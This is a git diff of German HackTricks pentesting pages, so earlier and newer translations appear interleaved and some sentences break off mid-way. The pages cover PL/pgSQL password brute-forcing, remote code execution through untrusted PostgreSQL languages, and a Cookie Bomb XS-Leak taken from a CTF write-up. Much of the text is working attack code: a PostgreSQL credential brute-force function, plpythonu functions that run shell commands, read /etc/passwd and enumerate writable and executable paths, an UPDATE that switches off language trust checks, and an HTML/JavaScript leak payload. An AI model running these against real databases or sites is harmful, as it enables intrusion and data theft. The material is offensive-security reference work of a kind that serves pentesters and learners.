* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Weitere Informationen zu diesen Angriffen finden Sie im Originaldokument** [hier](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt).
|
||||
**Finde [weitere Informationen über diesen Angriff im Originaldokument](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL ist eine **voll ausgestattete Programmiersprache**, die über die Möglichkeiten von SQL hinausgeht, indem sie **erweiterte prozedurale Kontrolle** bietet. Dies umfasst die Verwendung von Schleifen und verschiedenen Kontrollstrukturen. Mit der in der PL/pgSQL-Sprache erstellten Funktionen können SQL-Anweisungen und Trigger aufgerufen werden, wodurch der Umfang der Operationen in der Datenbankumgebung erweitert wird.
|
||||
PL/pgSQL ist eine **vollständig ausgestattete Programmiersprache**, die über die Möglichkeiten von SQL hinausgeht, indem sie **erweiterte prozedurale Kontrolle** bietet. Dazu gehört die Nutzung von Schleifen und verschiedenen Kontrollstrukturen. Funktionen, die in der PL/pgSQL-Sprache erstellt wurden, können durch SQL-Anweisungen und Trigger aufgerufen werden, was den Umfang der Operationen innerhalb der Datenbankumgebung erweitert.
|
||||
|
||||
Sie können diese Sprache missbrauchen, um PostgreSQL dazu zu bringen, die Anmeldeinformationen der Benutzer per Bruteforce zu erzwingen, sie muss jedoch in der Datenbank vorhanden sein. Sie können dies überprüfen, indem Sie Folgendes verwenden:
|
||||
Du kannst diese Sprache missbrauchen, um PostgreSQL zu bitten, die Benutzeranmeldeinformationen bruteforce zu knacken, aber sie muss in der Datenbank existieren. Du kannst ihre Existenz überprüfen, indem du:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
Standardmäßig ist das **Erstellen von Funktionen ein Privileg, das PUBLIC gewährt wird**, wobei PUBLIC für jeden Benutzer in diesem Datenbanksystem steht. Um dies zu verhindern, könnte der Administrator das USAGE-Privileg von der PUBLIC-Domäne entzogen haben:
|
||||
Standardmäßig ist **das Erstellen von Funktionen ein Privileg, das PUBLIC gewährt wird**, wobei PUBLIC sich auf jeden Benutzer in diesem Datenbanksystem bezieht. Um dies zu verhindern, hätte der Administrator das USAGE-Privileg aus dem PUBLIC-Bereich entziehen müssen:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
|
@ -34,13 +37,13 @@ lanname | lanacl
|
|||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
Beachten Sie, dass für das folgende Skript **die Funktion `dblink` vorhanden sein muss**. Wenn sie nicht vorhanden ist, können Sie versuchen, sie mit dem Befehl zu erstellen:
|
||||
Beachten Sie, dass für das folgende Skript **die Funktion `dblink` existieren muss**. Wenn sie nicht existiert, können Sie versuchen, sie mit 
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
## Passwort-Brute-Force
|
||||
## Passwort-Bruteforce
|
||||
|
||||
So können Sie einen Brute-Force-Angriff auf ein 4-stelliges Passwort durchführen:
|
||||
Hier ist, wie Sie einen 4-Zeichen-Passwort-Bruteforce durchführen könnten:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -79,7 +82,7 @@ $$ LANGUAGE 'plpgsql';
|
|||
//Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_Beachten Sie, dass selbst das Brute-Forcen von 4 Zeichen mehrere Minuten dauern kann._
|
||||
_Note, dass selbst das Brute-Forcen von 4 Zeichen mehrere Minuten dauern kann._
|
||||
|
||||
Sie könnten auch **eine Wortliste herunterladen** und nur diese Passwörter ausprobieren (Wörterbuchangriff):
|
||||
```sql
|
||||
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
|||
-- Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,31 @@
|
|||
# RCE with PostgreSQL Languages
|
||||
# RCE mit PostgreSQL-Sprachen
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL-Sprachen
|
||||
|
||||
Die PostgreSQL-Datenbank, auf die Sie Zugriff haben, kann verschiedene **Skriptsprachen installiert** haben, die Sie missbrauchen könnten, um **beliebigen Code auszuführen**.
|
||||
|
||||
Sie können sie **ausführen**:
|
||||
Die PostgreSQL-Datenbank, auf die du Zugriff hast, könnte verschiedene **Skriptsprache installiert** haben, die du missbrauchen könntest, um **willkürlichen Code auszuführen**.
|
||||
|
||||
Du kannst **sie zum Laufen bringen**:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
|
||||
Die meisten Skriptsprachen, die Sie in PostgreSQL installieren können, haben **2 Varianten**: die **vertrauenswürdige** und die **unvertrauenswürdige**. Die **unvertrauenswürdige** Variante hat einen Namen, der mit "u" endet, und ist die Version, mit der Sie Code ausführen und andere interessante Funktionen nutzen können. Hier sind einige Sprachen, die interessant sein könnten, wenn sie installiert sind:
|
||||
Die meisten der Skriptsprachen, die Sie in PostgreSQL installieren können, haben **2 Varianten**: die **vertrauenswürdige** und die **unvertrauenswürdige**. Die **unvertrauenswürdige** hat einen Namen, der mit **"u" endet** und ist die Version, die es Ihnen ermöglicht, **Code auszuführen** und andere interessante Funktionen zu nutzen. Dies sind Sprachen, die, wenn sie installiert sind, interessant sind:
|
||||
|
||||
* **plpythonu**
|
||||
* **plpython3u**
|
||||
|
@ -34,8 +35,7 @@ Die meisten Skriptsprachen, die Sie in PostgreSQL installieren können, haben **
|
|||
* ... (jede andere Programmiersprache, die eine unsichere Version verwendet)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Wenn Sie feststellen, dass eine interessante Sprache **installiert** ist, aber von PostgreSQL als **unvertrauenswürdig** eingestuft wird (**`lanpltrusted`** ist **`false`**), können Sie versuchen, sie mit der folgenden Zeile zu **vertrauen**, damit von PostgreSQL keine Einschränkungen mehr gelten:
|
||||
|
||||
Wenn Sie feststellen, dass eine interessante Sprache **installiert** ist, aber von PostgreSQL **unvertrauenswürdig** ist (**`lanpltrusted`** ist **`false`**), können Sie versuchen, sie mit der folgenden Zeile **vertrauenswürdig** zu machen, sodass keine Einschränkungen von PostgreSQL angewendet werden:
|
||||
```sql
|
||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
# To check your permissions over the table pg_language
|
||||
|
@ -43,8 +43,8 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie zu laden (**Sie müssen Superadmin sein**):
|
||||
|
||||
{% hint style="danger" %}
|
||||
Wenn Sie eine Sprache nicht sehen, können Sie versuchen, sie mit (**Sie müssen Superadmin sein**):
|
||||
```
|
||||
CREATE EXTENSION plpythonu;
|
||||
CREATE EXTENSION plpython3u;
|
||||
|
@ -52,30 +52,14 @@ CREATE EXTENSION plperlu;
|
|||
CREATE EXTENSION pljavaU;
|
||||
CREATE EXTENSION plrubyu;
|
||||
```
|
||||
{% endhint %}
|
||||
|
||||
Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie [**dies**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) zum Beispiel. Es lohnt sich also immer zu versuchen, ob Sie Code ausführen können, auch wenn Sie nur die **vertrauenswürdige** Version gefunden haben.
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="RCE" %}
|
||||
Um Remote Code Execution (RCE) mit plpythonu/plpython3u in PostgreSQL zu erreichen, müssen Sie die folgenden Schritte ausführen:
|
||||
|
||||
1. Überprüfen Sie, ob die Sprachen plpythonu oder plpython3u installiert sind, indem Sie den Befehl `SELECT * FROM pg_language;` ausführen.
|
||||
2. Wenn die Sprachen installiert sind, erstellen Sie eine Funktion mit dem gewünschten Code. Zum Beispiel:
|
||||
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION rce() RETURNS VOID AS $$
|
||||
import os
|
||||
os.system('id > /tmp/rce')
|
||||
$$ LANGUAGE plpythonu;
|
||||
```
|
||||
|
||||
3. Führen Sie die Funktion aus, indem Sie den Befehl `SELECT rce();` ausführen.
|
||||
4. Überprüfen Sie, ob der Code ausgeführt wurde, indem Sie den Inhalt der Datei `/tmp/rce` überprüfen.
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Beachten Sie, dass es möglich ist, die sicheren Versionen als "unsicher" zu kompilieren. Überprüfen Sie [**hier**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) ein Beispiel. Es lohnt sich also immer zu versuchen, Code auszuführen, auch wenn nur die **vertrauenswürdige** Version installiert ist.
|
||||
{% endhint %}
|
||||
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -88,7 +72,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT cmd("ls"); #RCE with popen or execve
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Betriebssystembenutzer abrufen" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -100,7 +86,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT get_user(""); #Get user, para is useless
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Verzeichnis auflisten" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -114,7 +102,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT lsdir("/"); #List dir
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="W-Ordner finden" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -141,7 +131,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Datei finden" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -174,7 +166,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT find_file("psql"); #Find a file
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Finde ausführbare Dateien" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -206,9 +200,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT findx("/"); #Find an executables in folder (recursively)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
Finde exec durch Substitutionen
|
||||
|
||||
{% tab title="Exec durch Subs finden" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -241,7 +235,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT find_exe("psql"); #Find executable by susbstring
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Lesen" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -255,7 +251,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
select read('/etc/passwd'); #Read a file in b64
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Berechtigungen abrufen" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_perms (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -269,7 +267,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
select get_perms("/etc/passwd"); # Get perms of file
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Anfrage" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION req2 (url text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -293,6 +293,8 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT req3('https://google.com'); #Request using python3
|
||||
```
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
## pgSQL
|
||||
|
||||
|
@ -310,14 +312,17 @@ SELECT req3('https://google.com'); #Request using python3
|
|||
[rce-with-postgresql-extensions.md](rce-with-postgresql-extensions.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version des PEASS oder HackTricks als PDF-Download** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# Cookie Bomb + Onerror XS-Leak
|
||||
# Cookie Bomb + Onerror XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks als PDF herunterladen**? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks-Repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud-Repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Das folgende **Skript**, das von [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) stammt, nutzt eine Funktion aus, die es dem Benutzer ermöglicht, **beliebig viele Cookies einzufügen** und dann eine Datei als Skript zu laden, wobei bekannt ist, dass die wahre Antwort größer als die falsche ist. Wenn erfolgreich, ist die Antwort eine Weiterleitung mit einer resultierenden URL, die **zu groß für den Server ist und einen Fehler-HTTP-Statuscode zurückgibt**. Wenn die Suche fehlschlägt, passiert nichts, da die URL kurz ist.
|
||||
Das folgende **Skript** stammt von [**hier**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/) und nutzt eine Funktionalität aus, die es dem Benutzer ermöglicht, **beliebig viele Cookies einzufügen**, und lädt dann eine Datei als Skript, wobei bekannt ist, dass die echte Antwort größer sein wird als die falsche. Wenn dies erfolgreich ist, ist die Antwort eine Weiterleitung mit einer resultierenden URL, die länger ist, **zu groß, um vom Server verarbeitet zu werden, sodass ein Fehler-HTTP-Statuscode zurückgegeben wird**. Wenn die Suche fehlschlägt, passiert nichts, da die URL kurz ist.
|
||||
```html
|
||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||
<script>
|
||||
|
@ -61,14 +64,17 @@ break;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Arbeiten Sie in einem **Cybersicherheitsunternehmen**? Möchten Sie Ihr **Unternehmen in HackTricks bewerben**? Oder möchten Sie Zugriff auf die **neueste Version von PEASS oder HackTricks im PDF-Format** haben? Überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family).
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com).
|
||||
* **Treten Sie der** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie mir auf **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an das** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **und das** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **senden**.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# JavaScript-Ausführung XS-Leak
|
||||
# JavaScript-Ausführung XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
